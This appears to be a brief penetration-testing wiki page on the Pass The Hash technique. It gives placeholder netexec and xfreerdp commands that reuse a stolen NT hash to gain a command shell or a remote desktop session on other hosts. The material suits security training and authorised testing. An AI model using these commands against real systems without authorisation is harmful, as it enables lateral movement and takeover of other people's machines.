Pass The Hash
How to Pass The Hash Attack.
A Pass The Hash attack utilises a known password hash to authenticate to other networked hosts. For example, if two built-in administrator accounts for two different hosts had the same password, their hash would be the same and if one hash was known, this can be used to login to the second host.
There are various ways you might come across a password hash. For example, you might dump a machines SAM and SECURITY registry hive and find it there.
No matter how you found it, you may now consider a Pass The Hash attack.
Performing the attack
NetExec
NetExec can be used to perform a Pass The Hash attack. All you need is the username and the users NT password hash. If it is a domain user, you will also need to specify the domain.
netexec smb <target> --local-auth -u <user> -H <NThash> -x <command>
netexec smb <target> -d <domain> -u <user> -H <NThash> -x <command>
This will provide you with a command line shell on your target.
xfreerdp
By using xfreerdp, it is possible to gain a remote desktop connection into a host using Pass The Hash.
The following command can be used:
xfreerdp /u:<user> /d:<domain> /pth:<LMhash:NThash> /v:<TARGET>
Last updated